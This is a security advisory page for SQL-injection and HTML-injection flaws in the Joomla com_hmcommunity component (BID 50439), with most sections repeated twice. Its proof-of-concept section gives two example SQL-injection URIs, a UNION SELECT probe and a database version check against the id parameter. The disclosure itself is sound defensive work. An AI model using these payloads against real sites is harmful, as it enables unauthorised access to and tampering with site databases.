Joomla! 'com_hmcommunity' Component Multiple Input Validation Vulnerabilities
BID:50439
Info
Joomla! 'com_hmcommunity' Component Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 50439 |
| Class: | Input Validation Error |
| CVE: |
CVE-2011-4808 CVE-2011-4809 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 31 2011 12:00AM |
| Updated: | Dec 15 2011 07:38PM |
| Credit: | 599eme Man |
| Vulnerable: |
Joomla com_hmcommunity 0 |
| Not Vulnerable: | |
Discussion
Joomla! 'com_hmcommunity' Component Multiple Input Validation Vulnerabilities
Joomla! 'com_hmcommunity' component is prone to an HTML-injection vulnerability and multiple SQL-injection vulnerabilities.
A successful exploit may allow an attacker to steal cookie-based authentication credentials, control how the site is rendered, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Joomla! 'com_hmcommunity' component is prone to an HTML-injection vulnerability and multiple SQL-injection vulnerabilities.
A successful exploit may allow an attacker to steal cookie-based authentication credentials, control how the site is rendered, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
Joomla! 'com_hmcommunity' Component Multiple Input Validation Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available for SQL-injection issues:
http://www.example.com/index.php?option=com_hmcommunity&view=fnd_home&id=[NB] union select all 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
http://www.example.com/index.php?option=com_hmcommunity&view=fnd_home&id=155 and @@version=5
Attackers can use a browser to exploit these issues.
The following example URIs are available for SQL-injection issues:
http://www.example.com/index.php?option=com_hmcommunity&view=fnd_home&id=[NB] union select all 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
http://www.example.com/index.php?option=com_hmcommunity&view=fnd_home&id=155 and @@version=5
Solution / Fix
Joomla! 'com_hmcommunity' Component Multiple Input Validation Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Joomla! 'com_hmcommunity' Component Multiple Input Validation Vulnerabilities
References:
References:
- HM Community Homepage (joomlaextension.co.in & Harmistechnology.com)
- Joomla Homepage (Joomla)